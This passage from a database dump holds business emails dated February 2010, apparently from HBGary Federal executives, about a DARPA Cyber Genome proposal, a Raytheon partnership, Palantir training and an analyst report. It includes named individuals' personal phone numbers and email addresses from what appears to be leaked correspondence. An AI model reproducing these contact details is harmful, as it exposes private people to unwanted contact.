BlackBerry\r\n',3723,'aaron_hbgary_com/3723.html'),(2223,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001010.M222897P3547Q2223.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Fwd: Just was put out by 451 Analyst Group','Nice.\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Penny Leavy-Hoglund\" \r\n> Date: February 8, 2010 4:15:03 PM EST\r\n> To: \"\'Maria Lucas\'\" , \"\'Rich Cummings\'\" , \"\'Phil Wallisch\'\" , \"\'Matt O\'Flynn\'\" , \"\'Bob Slapnik\'\" \r\n> Cc: \"\'Ted Vera\'\" , \"\'Aaron Barr\'\" \r\n> Subject: Just was put out by 451 Analyst Group\r\n> \r\n> I scanned this so all could see, not sure we can distribute, so let me check.  If you printed off a copy you can show clients.  This helps in a big way\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7676,'aaron_hbgary_com/7676.html'),(2224,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001010.M557605P3547Q2224.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,,,,','Re: Just was put out by 451 Analyst Group','Sweet. &nbsp;Funny how the one listed weakness we are already addressing discussing threat intelligence with the Aurora report releasing this week.AaronOn Feb 8, 2010, at 4:15 PM, Penny Leavy-Hoglund wrote:I scanned this so all could see, not sure we can distribute, so let me check.&nbsp; If you printed off a copy you can show clients.&nbsp; This helps in a big way&lt;02081003.PDF&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16526,'aaron_hbgary_com/16526.html'),(2225,'2010-02-08','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001010.M889512P3547Q2225.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,,','RE: Just was put out by 451 Analyst Group','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYes and the other is messaging and I signed up for a 3 hour time\r\nwith the two top analysts in Boston to specifically address this problem since\r\nGartner didn&#8217;t add a lot of value there.&nbsp; I just have to get a date that Greg\r\nwill agree to, \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 1:23 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: \'Maria Lucas\'; \'Rich Cummings\'; \'Phil Wallisch\'; \'Matt O\'Flynn\';\r\n\'Bob Slapnik\'; \'Ted Vera\'\r\nSubject: Re: Just was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSweet. &nbsp;Funny how the one listed weakness we are\r\nalready addressing discussing threat intelligence with the Aurora report\r\nreleasing this week.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 4:15 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nscanned this so all could see, not sure we can distribute, so let me\r\ncheck.&nbsp; If you printed off a copy you can show clients.&nbsp; This helps\r\nin a big way\r\n\r\n\r\n\r\n\r\n\r\n&lt;02081003.PDF&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11659,'aaron_hbgary_com/11659.html'),(2226,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001011.M308514P3547Q2227.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Re-engage with HBGary?','Neat. &nbsp;I look forward to it.AaronOn Feb 8, 2010, at 4:28 PM, Bob Slapnik wrote:Aaron,\r\n&nbsp;\r\nHere is a guy I will introduce you to in a few weeks (when he is ready).&nbsp; On the one hand he expects some IRAD money to buy our s/w.&nbsp; There will also be the possibility for Raytheon IRAD-funded services work to do some new thinking.&nbsp; \r\n\r\n&nbsp;\r\nHe is looking at getting us IRAD money to use our DDNA traits database in new ways. He recommended the book \"On Intelligence\" by Jeff Harkins where he lays out his theories how the brain pulls together associations for predictive ability. His buddy has s/w to rapidly search through associations for predictive ability. \r\n\r\n&nbsp;\r\nBob\r\n---------- Forwarded message ----------From: Shane Powell &lt;Shane_Powell@raytheon.com&gt;\r\nDate: Mon, Feb 8, 2010 at 1:23 PMSubject: Re: Re-engage with HBGary?To: Bob Slapnik &lt;bob@hbgary.com&gt;Just a quick update... \r\nThe first of 4 IRAD / CRAD proposals relating to the approach we discussed has been released. &nbsp; I will likely need quotes within the next three weeks to turn out one of the remaining proposals, and will contact you once I have identified the proper scope for HBGary involvement... I expect quotes will center on professional services and license transference to government customers once a working solution is available. \r\nThanks,\r\nShane Powell, CISSP-ISSEPPrincipal Multi-Discipline EngineerCyber Defense SystemsRaytheon Network Centric Systems\r\n727.302.4873 office813.528.6614 cell shane_powell@raytheon.com \r\n&nbsp; \r\n\r\n\r\n\r\nFrom: \r\n\r\nBob Slapnik &lt;bob@hbgary.com&gt; \r\n\r\nTo: \r\n\r\nShane Powell &lt;Shane_Powell@raytheon.com&gt; \r\n\r\nDate: \r\n02/01/2010 10:33 AM \r\n\r\nSubject: \r\nRe: Re-engage with HBGary?\r\n\r\n\r\n\r\n\r\nNo problem.&nbsp; Whenever you are ready. &nbsp; &nbsp; On Mon, Feb 1, 2010 at 10:28 AM, Shane Powell &lt;Shane_Powell@raytheon.com&gt; wrote: \r\nBob, Lots going on this year already, but I have identified at least two research opportunities to pursue the concept we discussed in December. \r\nPlease bear with me as I work with another of our engineers to develop the formal white papers needed. &nbsp;Once we have developed the concept to our satisfaction on paper, we will re-engage. &nbsp;I am shooting to reach that point by the end of February, with potential awards kicking off between May and October. \r\nThanks, Shane Powell, CISSP-ISSEPPrincipal Multi-Discipline EngineerCyber Defense SystemsRaytheon Network Centric Systems727.302.4873 office\r\n813.528.6614 cell shane_powell@raytheon.com \r\n&nbsp; \r\n\r\n\r\n\r\nFrom: \r\n\"Bob Slapnik\" &lt;bob@hbgary.com&gt; \r\n\r\nTo: \r\n&lt;shane_powell@raytheon.com&gt; \r\n\r\nDate: \r\n01/04/2010 10:42 AM \r\n\r\nSubject: \r\nRe-engage with HBGary?\r\n\r\nShane, &nbsp; Happy New Year! &nbsp;May 2010 be fabulous. &nbsp;We had planned to meet to discuss ways in which Raytheon and HBGary might be able to work together. &nbsp;Want to schedule something? \r\n&nbsp; Bob Slapnik &nbsp;| &nbsp;Vice President &nbsp;| &nbsp;HBGary, Inc. Phone 301-652-8885 x104 &nbsp;| &nbsp;Mobile 240-481-1419 \r\nbob@hbgary.com &nbsp;| &nbsp;www.hbgary.com \r\n&nbsp; -- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com \r\n\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13759,'aaron_hbgary_com/13759.html'),(2227,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001011.M530185P3547Q2228.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','I need your thoughts.','When looking at the DARPA BAA I have found a single path using our existing capability that I think answers the mail, but I am in this rut and can\'t see out of it, so was hoping to get your thoughts.\r\n\r\nNeed to classify all digital artifacts and determine good and bad actions/behaviors, what to protect, etc.\r\n\r\n\r\nIts all math of course.  And as I have been thinking about our traits database represented by hashes, it can fit almost anything.  We categorize things in our brains and make those associations automatically.\r\n\r\nA word document was created on the corporate network by the CEO of the company.  The word document was about the possible acquisition of a small company.  Or the word document was about the firing of a negligent employee.\r\n\r\nThose sentences  could have a multitude of different traits associated with it, some of those traits would be derived by other associations.  The CEO has certain traits, the network has certain traits.  What is in the document, HR, FInance, etc.  When the document was created, etc.  The more of those you can define the more granular you can base you future actions/treatment of the document.  As the document is transmitted there are new associations, forks, etc.\r\n\r\nThe more and more I read the BAA I am thinking this approach is a good possible answer.  I am sure there are others, but I am stuck in this rut now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5040,'aaron_hbgary_com/5040.html'),(2228,'2010-02-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001011.M80502P3547Q2226.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Re-engage with HBGary?','Aaron,\r\n \r\nHere is a guy I will introduce you to in a few weeks (when he is ready).  On the one hand he expects some IRAD money to buy our s/w.  There will also be the possibility for Raytheon IRAD-funded services work to do some new thinking.  \r\n\r\n \r\nHe is looking at getting us IRAD money to use our DDNA traits database in new ways. He recommended the book &quot;On Intelligence&quot; by Jeff Harkins where he lays out his theories how the brain pulls together associations for predictive ability. His buddy has s/w to rapidly search through associations for predictive ability. \r\n\r\n \r\nBob\r\n---------- Forwarded message ----------From: Shane Powell &lt;Shane_Powell@raytheon.com&gt;\r\nDate: Mon, Feb 8, 2010 at 1:23 PMSubject: Re: Re-engage with HBGary?To: Bob Slapnik &lt;bob@hbgary.com&gt;Just a quick update... \r\nThe first of 4 IRAD / CRAD proposals relating to the approach we discussed has been released.   I will likely need quotes within the next three weeks to turn out one of the remaining proposals, and will contact you once I have identified the proper scope for HBGary involvement... I expect quotes will center on professional services and license transference to government customers once a working solution is available. \r\nThanks, \r\n\r\nShane Powell, CISSP-ISSEPPrincipal Multi-Discipline EngineerCyber Defense SystemsRaytheon Network Centric Systems\r\n727.302.4873 office813.528.6614 cell shane_powell@raytheon.com \r\n  \r\n\r\n\r\n\r\nFrom: \r\n\r\nBob Slapnik &lt;bob@hbgary.com&gt; \r\n\r\nTo: \r\n\r\nShane Powell &lt;Shane_Powell@raytheon.com&gt; \r\n\r\nDate: \r\n02/01/2010 10:33 AM \r\n\r\nSubject: \r\nRe: Re-engage with HBGary?\r\n\r\n\r\n\r\n\r\nNo problem.  Whenever you are ready.     On Mon, Feb 1, 2010 at 10:28 AM, Shane Powell &lt;Shane_Powell@raytheon.com&gt; wrote: \r\nBob, Lots going on this year already, but I have identified at least two research opportunities to pursue the concept we discussed in December. \r\nPlease bear with me as I work with another of our engineers to develop the formal white papers needed.  Once we have developed the concept to our satisfaction on paper, we will re-engage.  I am shooting to reach that point by the end of February, with potential awards kicking off between May and October. \r\nThanks, \r\nShane Powell, CISSP-ISSEPPrincipal Multi-Discipline EngineerCyber Defense SystemsRaytheon Network Centric Systems727.302.4873 office\r\n813.528.6614 cell shane_powell@raytheon.com \r\n  \r\n\r\n\r\n\r\nFrom: \r\n&quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt; \r\n\r\nTo: \r\n&lt;shane_powell@raytheon.com&gt; \r\n\r\nDate: \r\n01/04/2010 10:42 AM \r\n\r\nSubject: \r\nRe-engage with HBGary?\r\n\r\nShane,   Happy New Year!  May 2010 be fabulous.  We had planned to meet to discuss ways in which Raytheon and HBGary might be able to work together.  Want to schedule something? \r\n  Bob Slapnik  |  Vice President  |  HBGary, Inc. Phone 301-652-8885 x104  |  Mobile 240-481-1419 \r\nbob@hbgary.com  |  www.hbgary.com \r\n  \r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com \r\n\r\n\r\n\r\n\r\n\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',8995,'aaron_hbgary_com/8995.html'),(2229,'2010-02-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001013.M545924P3547Q2229.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: DARPA industry day logistics','This is the address listed on the conference website (Aaron can you confirm?):\r\n\r\nHilton Arlington\r\n950 N. Stafford Street\r\nArlington, VA 22203\r\n\r\nRegistration is from 7-8, agenda attached.\r\n\r\nTed\r\n\r\n\r\n\r\n\r\nOn Mon, Feb 8, 2010 at 2:34 PM, Bob Slapnik  wrote:\r\n> Ted,\r\n>\r\n> Do you have the address and times for tomorrow\'s meeting?\r\n>\r\n> --\r\n> Bob Slapnik\r\n> Vice President\r\n> HBGary, Inc.\r\n> 301-652-8885 x104\r\n> bob@hbgary.com\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',3707,'aaron_hbgary_com/3707.html'),(2230,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001013.M854474P3547Q2230.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: DARPA industry day logistics','Thats it.\r\n\r\nOn Feb 8, 2010, at 4:43 PM, Ted Vera wrote:\r\n\r\n> This is the address listed on the conference website (Aaron can you confirm?):\r\n> \r\n> Hilton Arlington\r\n> 950 N. Stafford Street\r\n> Arlington, VA 22203\r\n> \r\n> Registration is from 7-8, agenda attached.\r\n> \r\n> Ted\r\n> \r\n> \r\n> \r\n> \r\n> On Mon, Feb 8, 2010 at 2:34 PM, Bob Slapnik  wrote:\r\n>> Ted,\r\n>> \r\n>> Do you have the address and times for tomorrow\'s meeting?\r\n>> \r\n>> --\r\n>> Bob Slapnik\r\n>> Vice President\r\n>> HBGary, Inc.\r\n>> 301-652-8885 x104\r\n>> bob@hbgary.com\r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7200,'aaron_hbgary_com/7200.html'),(2231,'2010-02-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001014.M390626P3547Q2231.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Cyber Genome Proposers Day','---------- Forwarded message ----------\r\nFrom: Blankenship, Larry (contr-sto) \r\nDate: Mon, Feb 1, 2010 at 2:31 PM\r\nSubject: RE: Cyber Genome Proposers Day\r\nTo: \"ted@hbgary.com\" \r\nCc: \"Moore, Renee (contr-sto)\" \r\n\r\n\r\nGreetings Mr. Vera,\r\n\r\nI have HBGary scheduled from 1200-1230 on 9 Feb with Dr. VanPutte.\r\nPlease limit your conversation to the time allotted as Dr. VanPutte\r\nwants to be fair to all visitors.  To assist in keeping your ideas in\r\nline with DARPA\'s objectives, and to make your discussion as enriching\r\nas possible, may I suggest you canvas your ideas against the Heilmeier\r\nCatechism prior to your arrival;\r\n\r\n-What are you trying to do? Articulate your objectives using\r\nabsolutely no jargon.\r\n-How is it done today, and what are the limits of current practice?\r\n-What\'s new in your approach and why do you think it will be successful?\r\n-Who cares? If you\'re successful, what difference will it make?\r\n-What are the risks and the payoffs?\r\n-How much will it cost? How long will it take?\r\n-What are the midterm and final \"exams\" to check for success?\r\n\r\nI am looking forward to seeing you at the proposer\'s day.\r\n\r\nV/r\r\n\r\nLarry\r\n\r\nLarry Blankenship\r\nSETA/DARPA STO\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',16381,'aaron_hbgary_com/16381.html'),(2232,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001014.M601289P3547Q2232.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Cyber Genome Proposers Day','ok are we supposed to be giving him a technical approach?\r\n\r\nOtherwise the list below doesn\'t make sense other than articulate directly, which is ironic.\r\n\r\nOn Feb 8, 2010, at 4:45 PM, Ted Vera wrote:\r\n\r\n> ---------- Forwarded message ----------\r\n> From: Blankenship, Larry (contr-sto) \r\n> Date: Mon, Feb 1, 2010 at 2:31 PM\r\n> Subject: RE: Cyber Genome Proposers Day\r\n> To: \"ted@hbgary.com\" \r\n> Cc: \"Moore, Renee (contr-sto)\" \r\n> \r\n> \r\n> Greetings Mr. Vera,\r\n> \r\n> I have HBGary scheduled from 1200-1230 on 9 Feb with Dr. VanPutte.\r\n> Please limit your conversation to the time allotted as Dr. VanPutte\r\n> wants to be fair to all visitors.  To assist in keeping your ideas in\r\n> line with DARPA\'s objectives, and to make your discussion as enriching\r\n> as possible, may I suggest you canvas your ideas against the Heilmeier\r\n> Catechism prior to your arrival;\r\n> \r\n> -What are you trying to do? Articulate your objectives using\r\n> absolutely no jargon.\r\n> -How is it done today, and what are the limits of current practice?\r\n> -What\'s new in your approach and why do you think it will be successful?\r\n> -Who cares? If you\'re successful, what difference will it make?\r\n> -What are the risks and the payoffs?\r\n> -How much will it cost? How long will it take?\r\n> -What are the midterm and final \"exams\" to check for success?\r\n> \r\n> I am looking forward to seeing you at the proposer\'s day.\r\n> \r\n> V/r\r\n> \r\n> Larry\r\n> \r\n> Larry Blankenship\r\n> SETA/DARPA STO\r\n> \r\n> \r\n> \r\n> \r\n> -- \r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4999,'aaron_hbgary_com/4999.html'),(2233,'2010-02-08','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297001014.M779130P3547Q2233.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Just was put out by 451 Analyst Group','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWow, nice article.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 4:20 PM\r\nTo: Matthew Steckman\r\nSubject: Fwd: Just was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNice.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Penny\r\nLeavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nFebruary\r\n8, 2010 4:15:03 PM EST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&quot;\'Maria\r\nLucas\'&quot; &lt;maria@hbgary.com&gt;,\r\n&quot;\'Rich Cummings\'&quot; &lt;rich@hbgary.com&gt;,\r\n&quot;\'Phil Wallisch\'&quot; &lt;phil@hbgary.com&gt;,\r\n&quot;\'Matt O\'Flynn\'&quot; &lt;matt@hbgary.com&gt;,\r\n&quot;\'Bob Slapnik\'&quot; &lt;bob@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc:\r\n&quot;\'Ted\r\nVera\'&quot; &lt;ted@hbgary.com&gt;,\r\n&quot;\'Aaron Barr\'&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nJust was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nscanned this so all could see, not sure we can distribute, so let me\r\ncheck.&nbsp; If you printed off a copy you can show clients.&nbsp; This helps\r\nin a big way\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11176,'aaron_hbgary_com/11176.html'),(2234,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001015.M205193P3547Q2235.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Just was put out by 451 Analyst Group','Penny,We want to do some Palantir training for the guys in Sacramento between the 15-17th of Feb. &nbsp;Can we accommodate any of those days? &nbsp;Training will be in our spaces.AaronOn Feb 8, 2010, at 4:28 PM, Penny Leavy-Hoglund wrote:Yes and the other is messaging and I signed up for a 3 hour time with the two top analysts in Boston to specifically address this problem since Gartner didn’t add a lot of value there.&nbsp; I just have to get a date that Greg will agree to,&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, February 08, 2010 1:23 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Maria Lucas\'; \'Rich Cummings\'; \'Phil Wallisch\'; \'Matt O\'Flynn\'; \'Bob Slapnik\'; \'Ted Vera\'Subject:&nbsp;Re: Just was put out by 451 Analyst Group&nbsp;Sweet. &nbsp;Funny how the one listed weakness we are already addressing discussing threat intelligence with the Aurora report releasing this week.&nbsp;Aaron&nbsp;&nbsp;On Feb 8, 2010, at 4:15 PM, Penny Leavy-Hoglund wrote:I scanned this so all could see, not sure we can distribute, so let me check.&nbsp; If you printed off a copy you can show clients.&nbsp; This helps in a big way&lt;02081003.PDF&gt;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2325,'aaron_hbgary_com/2325.html'),(2235,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001015.M490989P3547Q2236.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Re: Possible questions for VanPutte','Some of my questions.I see a very strong relationship between Tech area 1 and 2. &nbsp;Understanding you want a separate proposal for each technical area are you assuming a different approach. &nbsp;Would you see it favorable or unfavorable if companies partnered to work those two technical areas&nbsp;ok crap I didn\'t get a chance to generate enough questions...I will work on this more tonight and bring them tomorrow for discussion.AaronOn Feb 8, 2010, at 4:08 PM, Bob Slapnik wrote:Aaron and Rich,\r\n&nbsp;\r\nDARPA has a history of big R, little D.&nbsp; Where would you place this project on the Research-to-Development continuum?I wouldn\'t ask this, he will state during the proposers day tomorrow as he did last week...its on Big R.\r\n&nbsp;\r\nHow do you feel about contractors leveraging existing technologies or IRAD-funded work?Good question.\r\n&nbsp;\r\nOn page 12, section 3.2 Cost Sharing - It says, \"Cost sharing is encouraged where there is a reasonable probability of a potential commercial application related to the proposed R&amp;D effort.\"&nbsp; Could you elaborate on this?Good way to phrase it. &nbsp;We all are excited about HBGary technology and feel it answers a critical need, we want to convey that &nbsp;but make sure we do so in a way that he directly gets we are saying our capabilities give us a spring board to deliver some expansive digital artifact capabilities. &nbsp;The BAA is proposing something much more expansive that we feel our approach to dealing with malware can help to solve. &nbsp;Its our approach here rather than our specific technology.\r\n\r\n&nbsp;\r\nLet\'s assume HBGary desires to pursue commercial application from this work.&nbsp; Would the government want to place any distribution restrictions?&nbsp; For example, DoD-only distribution or ITAR controlled?I would rephrase. &nbsp;What difficulties do you envision if one of the awardees desired to pursue commercial application from this work. &nbsp;Would the government want to place any distribution restrictions? &nbsp;DoD only or ITAR?\r\n&nbsp;\r\nHBGary has had multiple SBIR phase I and phase II contracts where we have developed technologies where we have retained \"SBIR data rights\".&nbsp; Verify he is familiar with SBIR data rights.&nbsp; The DFARS state that future SBIR-derived work shall also have SBIR data rights.&nbsp; In the event that HBGary does R&amp;D that is an extension of past SBIR work, could DARPA accept our assertion of SBIR Data Rights on this new work?This is too strong we have to figure a way to rephrase. &nbsp;This boxes him into a corner.\r\n\r\n&nbsp;\r\nSBIR data rights would be useful especially if the resulting&nbsp;technology has commercial application.\r\n&nbsp;\r\n(See attached doc called SBIR Phase III.&nbsp; I can provide more&nbsp;docs on SBIR data rights if you want.)-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n&lt;SBIR PHASE III.doc&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3568,'aaron_hbgary_com/3568.html'),(2236,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001015.M678395P3547Q2237.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Need to reschedule','I have to tale care of something at home.  Can we meet inthe morning?\r\nOr I cam do later tonight.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',16220,'aaron_hbgary_com/16220.html'),(2237,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001015.M7057P3547Q2234.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Just was put out by 451 Analyst Group','yeah...more of those to come. &nbsp;:)I will press Gregs better half, who does most of the scheduling to see when we can do the training.Want to get caught up with you maybe Wednesday? &nbsp;We are pursing some work down at the 92nd, also on a proposal with Macaulley Brown for the AF OSI RFP. &nbsp;We are making partner decisions for the DARPA BAA for cyber genome (there will be a palantir element). &nbsp;Also still working with Brian Masterson to build his IRAD, and have some conversations coming up with Dave Luber out of the ANO office. &nbsp;Probably a few others that I missed but a good start.AaronOn Feb 8, 2010, at 4:48 PM, Matthew Steckman wrote:Wow, nice article.&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, February 08, 2010 4:20 PMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Fwd: Just was put out by 451 Analyst Group&nbsp;Nice.&nbsp;Begin forwarded message:From:&nbsp;\"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;Date:&nbsp;February 8, 2010 4:15:03 PM ESTTo:&nbsp;\"\'Maria Lucas\'\" &lt;maria@hbgary.com&gt;, \"\'Rich Cummings\'\" &lt;rich@hbgary.com&gt;, \"\'Phil Wallisch\'\" &lt;phil@hbgary.com&gt;, \"\'Matt O\'Flynn\'\" &lt;matt@hbgary.com&gt;, \"\'Bob Slapnik\'\" &lt;bob@hbgary.com&gt;Cc:&nbsp;\"\'Ted Vera\'\" &lt;ted@hbgary.com&gt;, \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: Just was put out by 451 Analyst GroupI scanned this so all could see, not sure we can distribute, so let me check.&nbsp; If you printed off a copy you can show clients.&nbsp; This helps in a big way\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8190,'aaron_hbgary_com/8190.html'),(2238,'2010-02-08','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001015.M890008P3547Q2238.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Just was put out by 451 Analyst Group','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI think so, not sure of who will be attending etc.&nbsp; I know\r\neveryone will be here\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 1:53 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Just was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe want to do some Palantir training for the guys in\r\nSacramento between the 15-17th of Feb. &nbsp;Can we accommodate any of those\r\ndays? &nbsp;Training will be in our spaces.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 4:28 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYes and the other is messaging and I signed up for a 3 hour time\r\nwith the two top analysts in Boston to specifically address this problem since\r\nGartner didn&#8217;t add a lot of value there.&nbsp; I just have to get a date that\r\nGreg will agree to,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, February 08,\r\n2010 1:23 PM\r\nTo:&nbsp;Penny Leavy-Hoglund\r\nCc:&nbsp;\'Maria Lucas\'; \'Rich\r\nCummings\'; \'Phil Wallisch\'; \'Matt O\'Flynn\'; \'Bob Slapnik\'; \'Ted Vera\'\r\nSubject:&nbsp;Re: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSweet. 